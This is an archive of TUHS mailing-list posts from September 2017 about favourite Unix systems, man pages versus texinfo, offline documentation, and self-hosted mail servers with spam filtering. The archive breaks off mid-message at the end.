From bakul at bitblocks.com  Wed Sep 20 18:25:00 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Wed, 20 Sep 2017 01:25:00 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920064317.GF74483@server.rulingia.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920064317.GF74483@server.rulingia.com>
Message-ID: <1D057F9B-5A80-4323-917A-A0470D4F18D8@bitblocks.com>


> On Sep 19, 2017, at 11:43 PM, Peter Jeremy <peter at rulingia.com> wrote:
> 
> On 2017-Sep-19 18:09:27 -0700, Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
>> *Please* write your documentation in a way that allows you to generate
>> (useful, readable!) PDF documents that I can download for offline viewing.
>> Believe it or not, I don't haul along a 300 mile cat-5 cable when I go
>> sailing.  I still like to write code on the boat.  So much for Go :-P
> 
> One of the really nice things about Go is that all the library source code
> and documentatin is installed by default and you can run a local instance of
> the documentation server on your laptop (or whatever).  Likewise, the
> specification is one HTML page - if you really want, you could convert that
> to PDF but having all the hyperlinks is really handy.  (I haven't tried
> running a local copy of the playground but that should be possible as well).

You don't even have to install a godoc server unless you want
a web interface. You can just type for example

go doc regexp			-- get top level regexp documentation
go doc regexp/syntax		-- regexp syntax
go doc regexp.MustCompile	-- help on just one exported function
go doc regexp.Regexp		-- help on exported type Regexp and a list of its methods

Often this is quite handy. I just open 6 to 8 windows in acme &
can have help text for various things, all accessible at once.
In contrast browsers feel quite clunky. They waste a lot of white
space and yet you have to scroll even on a HDMI+ rez display!



From mutiny.mutiny at rediffmail.com  Wed Sep 20 18:31:15 2017
From: mutiny.mutiny at rediffmail.com (Mutiny )
Date: 20 Sep 2017 08:31:15 -0000
Subject: [TUHS] =?utf-8?q?UNIX_of_choice_these_days=3F?=
In-Reply-To: <a6dfb676-44b2-0d87-5ece-01c2f1dc0a37@tnetconsulting.net>
Message-ID: <1505882549.S.5464.28775.f4-234-192.1505896275.11115@webmail.rediffmail.com>

On 09/19/2017 06:12 PM, Arthur Krewat wrote:&gt; What&#39;s your UNIX of choice to do normal &quot;real&quot; things these days?Linux.&nbsp; Fedora 26 (short: F26).
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/4d5e834a/attachment.html>

From usotsuki at buric.co  Wed Sep 20 19:12:07 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Wed, 20 Sep 2017 05:12:07 -0400 (EDT)
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <1D057F9B-5A80-4323-917A-A0470D4F18D8@bitblocks.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920064317.GF74483@server.rulingia.com>
 <1D057F9B-5A80-4323-917A-A0470D4F18D8@bitblocks.com>
Message-ID: <alpine.BSF.2.02.1709200511460.68994@frieza.hoshinet.org>

On Wed, 20 Sep 2017, Bakul Shah wrote:

> Often this is quite handy. I just open 6 to 8 windows in acme & can have 
> help text for various things, all accessible at once. In contrast 
> browsers feel quite clunky. They waste a lot of white space and yet you 
> have to scroll even on a HDMI+ rez display!

Even links2?

-uso.


From usotsuki at buric.co  Wed Sep 20 19:15:17 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Wed, 20 Sep 2017 05:15:17 -0400 (EDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <alpine.BSF.2.02.1709200512230.68994@frieza.hoshinet.org>

On Tue, 19 Sep 2017, Arthur Krewat wrote:

> What's your UNIX of choice to do normal "real" things these days?

I don't think I actually have access to any *Unix* machines except for a 
friend's Solaris server... everything I use that isn't Windows is either 
Linux (almost always some sort of Debian) or some sort of BSD.

Not that I wouldn't like to be running some sort of "Real Unix®™©, 
keeping in mind that they're not usually a good fit for commodity PC 
hardware (even Solaris never really was, I don't think).

-uso.

From bakul at bitblocks.com  Wed Sep 20 19:34:19 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Wed, 20 Sep 2017 02:34:19 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <alpine.BSF.2.02.1709200511460.68994@frieza.hoshinet.org>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920064317.GF74483@server.rulingia.com>
 <1D057F9B-5A80-4323-917A-A0470D4F18D8@bitblocks.com>
 <alpine.BSF.2.02.1709200511460.68994@frieza.hoshinet.org>
Message-ID: <45E99EA1-3CD9-418F-BB9C-0EDCD7A1C06B@bitblocks.com>


> On Sep 20, 2017, at 2:12 AM, Steve Nickolas <usotsuki at buric.co> wrote:
> 
> On Wed, 20 Sep 2017, Bakul Shah wrote:
> 
>> Often this is quite handy. I just open 6 to 8 windows in acme & can have help text for various things, all accessible at once. In contrast browsers feel quite clunky. They waste a lot of white space and yet you have to scroll even on a HDMI+ rez display!
> 
> Even links2?
> 
> -uso.

Right-click on a link in acme opens it in a browser.
For help text acme works better because you can have
source code in some windows, errors going to another,
dir listing in another and so on.

From chet.ramey at case.edu  Wed Sep 20 22:52:52 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Wed, 20 Sep 2017 08:52:52 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <dcb2b0de-4991-a461-bfd6-fdb68d9d1b12@case.edu>

On 9/19/17 8:12 PM, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?

Mac OS X. It's where I do my development and my normal day-to-day stuff.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From cym224 at gmail.com  Wed Sep 20 23:33:09 2017
From: cym224 at gmail.com (Nemo)
Date: Wed, 20 Sep 2017 09:33:09 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <CAJfiPzx8=b7XCLxTH6GXUOPZ3oiuSEBn75HYFdJWEbU2owBBBQ@mail.gmail.com>

On 19 September 2017 at 20:12, Arthur Krewat <krewat at kilonet.net> wrote:
> What's your UNIX of choice to do normal "real" things these days?

Home: OS X (PPC), Solaris 10 (Sparc)
Work: OS X (Intel)

N.


From clemc at ccc.com  Thu Sep 21 01:39:59 2017
From: clemc at ccc.com (Clem Cole)
Date: Wed, 20 Sep 2017 11:39:59 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <CAC20D2MQf7685D2ERtJoU6st0KmhtAvOnJZbS06RLmFHsg2Zxg@mail.gmail.com>

On Tue, Sep 19, 2017 at 8:12 PM, Arthur Krewat <krewat at kilonet.net> wrote:

> What's your UNIX of choice to do normal "real" things these days?
>
> Home file server (NAS), business stuff, develop code, whatever.
>
>
​It depends...   on what I have, what will get the job done etc...

My laptop is a 2016 MBP with Sierra, as are wife and college age son;
although their systems are not quite as new as mine.

For work, I program on Mac OS, Linux or mOS depending, the later two ssh
from Mac.   And since Winders as an Unbuntu subsystem, when I use the VM
and absolutely have to use it, I have that too.

'ccc.com' primary infrastructure is OpenBSD cause it just works and is
simple, little bloat and I can mostly forget it - it just works.

My NAS is an older Linux version pentium class box that needs to be
upgraded, not just what the next thing will be - I've not had time. But it
came with a Linux and it works, really well, its behind the firewall.
Like Larry, I have a number of TBs of RAID5 on it, and I just do simple
rsyncs to it from the other systems.

Different routers run dd-wrt - which are linux under the covers.

Then I have lots of different  specialized systems, running whatever makes
sense.​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/b9f15790/attachment.html>

From jon at fourwinds.com  Thu Sep 21 01:42:23 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 20 Sep 2017 08:42:23 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <201709201542.v8KFgN9T012655@darkstar.fourwinds.com>

Arthur Krewat writes:
> What's your UNIX of choice to do normal "real" things these days?

Well, it's mostly Linux because that's where the work seems to be.

For non-mobile machines I use Intel hardware and build my own because my
partner worked for Intel.  The general deal at the employee store, access
to which is a retirement benefit, is the latest CPU plus a motherboard
for $300.  Hard to beat.  I have had the same cases and power supplies
and such forever and just swap out the guts every so often.  Whenever I
upgrade the old parts roll down to my second office machine, then my
partner's machine, then the ski cabin machine.

Main machine here is an i7-4790 4GHx 8 core cpu with 32G of ram and 20TiB of
disk.  Two more machines like it around the house but older CPUs and less
disk.  I run my own email server so that it theoretically takes a warrant to
spy on my email so I have the second office machine configured as a standby
so that if the main machine dies I can switch to the spare while doing repairs.
The fourth machine lives up at my ski cabin and has 20TiB of disk;  I have a
remote control system make from a Raspberry PI that I can use to control the
power on that machine so that I can rsync to it.  It's my main offsite backup
machine.  All of these machines run Fedora Linux, currently FC26.

I have a Soekris firewall box here that I believe runs FreeBSD.

I have a Lenovo P70 laptop.  Not really fair to call it a laptop since it's
the 17" screen version.  It's really a portable workstation since my clients
never seem to have decent machines when I'm on site.  It runs Ubuntu 16.04.
Would rather run Fedora and have all of the machines be the same but sadly
the Fedora folks don't seem to care about laptops and it doesn't have working
device drivers.

My daughter has a Lenova Yoga 720 that also runs Ubuntu.

Oh, both laptops dual-boot Windows since they came with Windows.  Turns out that
having a laptop running Linux is a lot like running UNIX on a VAX in the 80s
when DEC refused to service machines that weren't running their software.
Earlier this year I returned a Dell laptop with assistance from the Oregon
Department of Justice because they refused to provide warranty service without
Windows installed which it wasn't.  The problem was that the display hardware
failed so I couldn't reinstall Windows and they wanted to charge me to do it
before considering the warranty.  Won't buy another Dell product.

While it's more for amusement than anything else I picked up an Ethernet to
GPIB dongle some years ago which allows me to control my rack of test and
measurement equipment.

Someone is obviously going to ask what I do with all of that disk space.  Only
4 TiB of it is for work.  The rest is media, primarily my live music collection.

Jon


From lm at mcvoy.com  Thu Sep 21 02:25:02 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 20 Sep 2017 09:25:02 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
Message-ID: <20170920162502.GN25650@mcvoy.com>

I tried running my own server on mcvoy.com but eventually gave up, the
spam filtering was a non-ending task.

If someone has a plug and chug setup for MX I'd love to try it.

Thanks,

--lm


From gtaylor at tnetconsulting.net  Thu Sep 21 02:36:47 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 10:36:47 -0600
Subject: [TUHS] ping
In-Reply-To: <20170914235542.GA7894@minnie.tuhs.org>
References: <CAP6exYJxvBoFSHTYfQDjhhUmt+jN7L_Yk+6S-8SJnyYiJJc17g@mail.gmail.com>
 <20170914235542.GA7894@minnie.tuhs.org>
Message-ID: <bbcdd4aa-73f1-1bdc-03ea-18fd4b7b2be4@tnetconsulting.net>

On 09/14/2017 05:55 PM, Warren Toomey wrote:
> I've had a few e-mails about this. It seems to be Gmail related. I
> haven't tracked the issue down yet. I'll keep looking.

Friendly ping.  I received 16 DMARC feedback reports yesterday that were 
directly related to the TUHS mailing list.

Warren, I've sent you an email with more details off list.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/960a3791/attachment.bin>

From steffen at sdaoden.eu  Thu Sep 21 02:39:21 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Wed, 20 Sep 2017 18:39:21 +0200
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170919233525.k3otv5as6xi2rqht@thunk.org>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
Message-ID: <20170920163921.vh-pw%steffen@sdaoden.eu>

Theodore Ts'o <tytso at mit.edu> wrote:
 |On Tue, Sep 19, 2017 at 10:01:57AM -0700, Jon Steinhart wrote:
 |> OK, here's another one that's good for chest thumping...
 |> 
 |> I am not a fan of texinfo.  It doesn't provide any benefits (to me) \
 |> over man.
 |> 
 |> I suppose that it was trailblazing in that it broke manual pages up into
 |> sections that couldn't easily be viewed concurrently long before \
 |> the www and
 |> web pages that broke things up into multiple pages to make room for \
 |> more ads.
 |
 |If you take a look at how perl handles its man pages, with 188 man
 |pages in section 1:
 |
 |...
 |           perlsyn             Perl syntax
 |           perldata            Perl data structures
 |           perlop              Perl operators and precedence
 |    perlsub             Perl subroutines
 |...
 |
 |I find that info system, with its hypertext linking, to be far more
 |convenient.  I've occasionally wished that the perl documentation was
 |available in info file format.

To me that is a problem of the tools and the roff macros, but not
of the Unix man system itself.  If you look at the entire man/ual
collection as a computer book, then that layout is pretty much
what you get.  It is mysterious -- to me -- why noone ever tried
to tweak the man toolchain itself, but wrote programs like Rosetta
man etc.  It is nothing but a doable problem in the roff
programming language and the toolchain which could have been
worked around decades ago, and you have active cross references at
the man(1)ual level.

Instead people go an incredibly hard way and use docbook or other
such solutions with an endless number of processing tools (like
Jade etc.).  And there is other needless bloat, NetBSD for example
installs a complete set of HTML versions alongside the normal man
pages, for a rather minimal benefit.  But even more absurd is that
in the Linux world people start using low-level roff directives to
produce (inactive) blue URL links, even though GNU/Linux has the
entire toolchain under control and could have done this in
a regular fashion, with active URLs for at least PDF and HTML
output variants.

 |But sometimes the extra complexity of, say, gdb or gmake, provides a
 |lot of convenience.  And the question is whether man is a sufficient
 |way to provide documentation.  I would humbly submit that the choice
 |of using man pages as used by perl is an existence proof that man is
 |*not* the optimal way to provide documentation for a sufficiently
 |complex language or program.

POD is not in my opinion, especially if used with extensive
cross-referencing.  The problem is that today people expect
references all over the place, not only at the bottom in a SEE
ALSO section, and occasionally at other places.  But for this you
have to use a completely different way of writing the
documentation than has been used traditionally on Unix.  And this
is not only about the people, it is about the non-existing
context.  Those programming IDEs that i do not use but do exist
give you tooltips whenever your mouse moves over just anything,
this now also on german wikipedia, for example.  For this you need
keywords which can be followed, to be specified in semantic
context.

The man macros simply do not offer that.  The BSD mdoc macros
extend this a bit but are hard to use and documenting C interfaces
is a nightmare.  I have written an extension for mdoc that gives
you the possibility to specify context and the manual of the MUA
i maintain, as well as the manuals of my future roff fork (but
that already i think) support that.  Even on the TTY, and i do not
want to miss having active links in less(1), document internal as
well as external, i use it all the time.  Unfortunately this is
restricted to very few manuals, and sometimes the chain of started
less(1) instances (following .Xr external references starts a new
less(1), after confirmation) gets pretty deep, and you have to
quit them all in order to come back to the original manual.  Well.

But because the mdoc macros use a recursive parser you cannot use
recursive macros, like headline macros which include
a cross-reference macro, for example, and the generated reference
can only be placed as a suffix because of that.
And of course mdoc is a crux.  Something new, implemented from
scratch, with all that web-of-context in mind, something like
man2, would be nice to have.  Maybe it could be source compatible
with man.

 |(If the answer is that Unix programs should never be that complicated;
 |that's fine.  But at least for me personally, I prefer to use gdb,
 |with its texinfo/info files, over adb with its man page.  If you want
 |to argue that "real programmers" should be able to decipher structure
 |layouts by looking at C structure declarations and creating adb macros
 |by hand, and that DWARF annotations are for the weak and sickly, fair
 |enough.  :-)

A good manual, which is up-to-date and refers to the actual
program and not to some former version, is a key feature.
It is hard to do that, and it is impossible to keep several
instances at that level.  Many OSS projects ship with incomplete,
outdated or completely useless manuals.  GNU versions often do not
do anything but referring to the info manual, which likely could
have been addressed decades ago by directly loading that, for
example: that you read at the bottom i think.

I liked to read the Plan9 manuals, these fantastic ones have
really written in a way that describes the interface sufficiently,
it actually enables you to start going.  If that takes a few
screen pages: that is just the way it is.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From jon at fourwinds.com  Thu Sep 21 02:39:16 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 20 Sep 2017 09:39:16 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>

Larry McVoy writes:
> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
> 
> If someone has a plug and chug setup for MX I'd love to try it.
> 
> Thanks,
> 
> --lm

I run my own server using sendmail.  Part of what makes it work is an accretion
of crud that I have hooked to it over the years which I wouldn't particularly
suggest to anyone else.

So yes, spam is a big problem.  I manage it in a crude but effective way.  I
have a milter (mail filter) that I cobbled together that is invoked by sendmail.
I also have a separate "spam" user.  What the milter does is to take anything
that it considers to be spam and rewrites the address so that it goes to the
spam user.  I have permissions set up so that I can easily check on spam when I
have time.  Oh yeah, another of my curmudgeon credentials is that I use nmh for
my MUA (I'm a maintainer).

The big question is, what is spam?  To me, it's any message from a sender who is

 1.  It's spam if the sender is in my blacklist.  This rarely gets used.

 2.  It's spam if it's sent to more than one recipient at my domain and any of
     the recipients are nonexistent users.

 3.  It's spam if the message is malformed.

 4.  It's spam if the message has a forged address or a non-resolvable host.

 5.  Finally, it's spam if it's not text/plain and not in my whitelist.

My big issue with spam is not the spam itself, it's the interruptions.  So I
scan the spam folder every once in a while and if I see something from someone
that I want then I add them to my whitelist.  Works for me.

I also run fail2ban which at least keeps my log file size down.  Biggest issue
for me is that, living out in the country I am limited to a very expensive T1.
Every once in a while I have to call Verizon customer service which coincidentally
is the phone number for the Oregon Department of Justice and get them to block
mainly Chinese IP addresses at their end because getting hit with thousands of
spam attempts per minute is effectively a DDOS attack.

Jon


From steffen at sdaoden.eu  Thu Sep 21 02:45:01 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Wed, 20 Sep 2017 18:45:01 +0200
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
Message-ID: <20170920164501.9I_fn%steffen@sdaoden.eu>

Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
 |> On Sep 19, 2017, at 4:35 PM, Theodore Ts'o <tytso at mit.edu> wrote:
 |> 
 |> If you take a look at how perl handles its man pages, with 188 man
 |> pages in section 1:
 |
 |... you quickly recognize the difference between a manpage (i.e. reference \
 |page) and a user manual.  Perl's (and other's) attempts to pack a 200 \
 |page user guide into a block of manpages is a misuse of what manpages \
 |represent.
 |
 |texinfo was a good move in the direction towards online, cross-referenced, \
 |user documentation.  But so often that lead to manpages that consisted \
 |of the single line "see the texinfo doc"; the documentation authors \
 |completely missing the point.

I absolutely agree with that.  It is like Hubbard laughing about
"how easy anything suddenly is".  I think there are different
variants of letting go.
..And then many HTML versions of texinfo manuals use the split
version and then you have pages with a sentence or two, which can
drive you mad.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From imp at bsdimp.com  Thu Sep 21 02:46:19 2017
From: imp at bsdimp.com (Warner Losh)
Date: Wed, 20 Sep 2017 10:46:19 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>

On Wed, Sep 20, 2017 at 10:25 AM, Larry McVoy <lm at mcvoy.com> wrote:

> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
>

I ran my own server for bsdimp.com and village.org form the early 90s until
2009 or so. I switched to gmail when I was seriously looking at dropping
$10k for a server that had enough horse power to filter the 50k-75k spam I
was getting a month at that time. Switching to google was easier and I
didn't have to spend the $10k nor the 4 hours a week on the care and
feeding of the black lists, etc.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/4e824ba5/attachment.html>

From steffen at sdaoden.eu  Thu Sep 21 02:48:27 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Wed, 20 Sep 2017 18:48:27 +0200
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
Message-ID: <20170920164827.lg_Dw%steffen@sdaoden.eu>

Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
 |> On Sep 19, 2017, at 6:02 PM, Larry McVoy <lm at mcvoy.com> wrote:
 |> 
 |> Put it on the web and move on.
 |
 |My main gripe about that is that I can't read the web when the router \
 |I'm trying to install won't work, keeping me from the needed web documentati\
 |on ...
 |
 |*Please* write your documentation in a way that allows you to generate \
 |(useful, readable!) PDF documents that I can download for offline viewing. \
 | Believe it or not, I don't haul along a 300 mile cat-5 cable when \
 |I go sailing.  I still like to write code on the boat.  So much for Go :-P
 |
 |And $GOD help everyone in the Caribbean trying to bootstrap their infrastruc\
 |ture right now.  How is your https://... documentation going to help \
 |them out?

I absolutely agree.  And mind "you", a lot of people save money to
be able to have an hour of internet access a week.  Maybe they
have to walk kilometers, hours, to be able to do so.  And to end
up with a bad low-bandwidth connection.  Having internet access is
a gift, and a miracle.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From steffen at sdaoden.eu  Thu Sep 21 02:49:59 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Wed, 20 Sep 2017 18:49:59 +0200
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170920012203.GB25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com> <20170920012203.GB25650@mcvoy.com>
Message-ID: <20170920164959.HA55q%steffen@sdaoden.eu>

Larry McVoy <lm at mcvoy.com> wrote:
 |On Tue, Sep 19, 2017 at 06:13:40PM -0700, Larry McVoy wrote:
 |> On Tue, Sep 19, 2017 at 06:09:27PM -0700, Lyndon Nerenberg wrote:
 |>> 
 |>>> On Sep 19, 2017, at 6:02 PM, Larry McVoy <lm at mcvoy.com> wrote:
 |>>> 
 |>>> Put it on the web and move on.
 |>> 
 |>> My main gripe about that is that I can't read the web when the router \
 |>> I'm trying to install won't work, keeping me from the needed web \
 |>> documentation ...
 |>> 
 |>> *Please* write your documentation in a way that allows you to generate \
 |>> (useful, readable!) PDF documents that I can download for offline \
 |>> viewing.  Believe it or not, I don't haul along a 300 mile cat-5 \
 |>> cable when I go sailing.  I still like to write code on the boat. \
 |>>  So much for Go :-P
 |>> 
 |>> And $GOD help everyone in the Caribbean trying to bootstrap their \
 |>> infrastructure right now.  How is your https://... documentation \
 |>> going to help them out?
 |> 
 |> Dude, you are talking to the guy who wrote webroff, a tool that takes -ms
 |> markup and puts on the web.  Our website was done in webroff for years and
 |> you could take all the source and produce a pdf.
 |
 |Here's an example:
 |
 |http://www.mcvoy.com/lm/bkdocs/UG/
 |
 |is the source, you can look at those files, they are nroff -ms source,
 |and then look at 
 |
 |http://www.mcvoy.com/lm/bkdocs/UG/tmp
 |
 |and you'll see the web version of the docs.  Which is pretty useful.
 |You've got all the .NH 1 headers in the table of contents down the
 |left side, and when you click one of them it shows you the .NH 2,
 |.NH 3 etc headers for just that section.
 |
 |And if you go to
 |
 |http://www.mcvoy.com/lm/bkdocs/UG/tmp/map.html
 |
 |you can get html versions of any .NH 1 section, or the entire thing as one
 |page.
 |
 |It's a ~1700 line perl program (perl 4ish) and it has some ability to skin
 |the content.  Source in http://www.mcvoy.com/lm/bkdocs/UG/webroff

That is pretty cool indeed.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From itz at very.loosely.org  Thu Sep 21 02:58:30 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Wed, 20 Sep 2017 09:58:30 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <201709201542.v8KFgN9T012655@darkstar.fourwinds.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <201709201542.v8KFgN9T012655@darkstar.fourwinds.com>
Message-ID: <20170920165830.e6lp4acvfpq63n25@matica.foolinux.mooo.com>

On 2017-09-20 08:42, Jon Steinhart wrote:

> The fourth machine lives up at my ski cabin and has 20TiB of disk;  I have a
> remote control system make from a Raspberry PI that I can use to control the
> power on that machine so that I can rsync to it.  It's my main offsite backup
> machine.

This is intriguing; how do you remote-control to the ski cabin?
Satellite or something?

> Won't buy another Dell product.

I have two Dell things, both essential: 1. an ultra light Inspiron XPS
which came with Ubuntu preinstalled (or so I believe, it's second hand)
but now runs my debloated Gentoo variant; and 2. one of their 24 inch
displays, which sadly remain the only affordable wide gamut options, to
my knowledge.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From khm at sciops.net  Thu Sep 21 02:59:07 2017
From: khm at sciops.net (Kurt H Maier)
Date: Wed, 20 Sep 2017 09:59:07 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <20170920165907.GC89991@wopr>

On Wed, Sep 20, 2017 at 09:25:02AM -0700, Larry McVoy wrote:
> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.

I still run qmail, using a patch to pass everything through
SpamAssassin.  Remote IMAP is provided by courier-imap.  This setup has
been in place long enough that I can no longer remember originally
configuring it.

I experimented with moving to OpenSMTPD, but at the time it wasn't
flexible enough to manage spam filtering in a sane way.  I've read
matters have improved, and based on current descriptions it might be
worth revisiting.

Another relative newcomer is rspamd, which can take a lot of the pain
out of spam filtering.  Getting it integrated with my creaky old qmail
setup has been on my TODO for quite a while now.

> If someone has a plug and chug setup for MX I'd love to try it.

Sadly, while my setup has been rock-solid and I have no complaints,
there's nothing plug and chug about it.  The ability to quickly deploy a
new server is one of the things that originally got me looking at
OpenSMTPD, but filtering and user-controlled address creation a la
.qmail-files were showstoppers for me.

khm


From krewat at kilonet.net  Thu Sep 21 02:58:51 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 20 Sep 2017 12:58:51 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.02.1709200512230.68994@frieza.hoshinet.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.02.1709200512230.68994@frieza.hoshinet.org>
Message-ID: <8e10f554-8d6e-964c-8ac6-df77002788d0@kilonet.net>

A note on the PC hardware front:

Solaris 11+ has been doing very well for me on PC-based platforms for 
quite a few years now. The drivers handle everything up to probably the 
lastest-gen( minus 1) LSI or Emulex or any other disk/fiber controllers, 
10Gbe Intel or Mellanox ethernet cards, and generally support enough USB 
stuff to make it worthwhile for me - USB serial port adapters actually 
DO wind up in /dev/cua ;)

The Intel processor support has been great w/NUMA aware scheduler (check 
out lgrpinfo on a Solaris box) which is very useful for Oracle DB, and a 
few other things I can't think of right now.

I don't use it for desktop though, except for Xvnc with a bunch of 
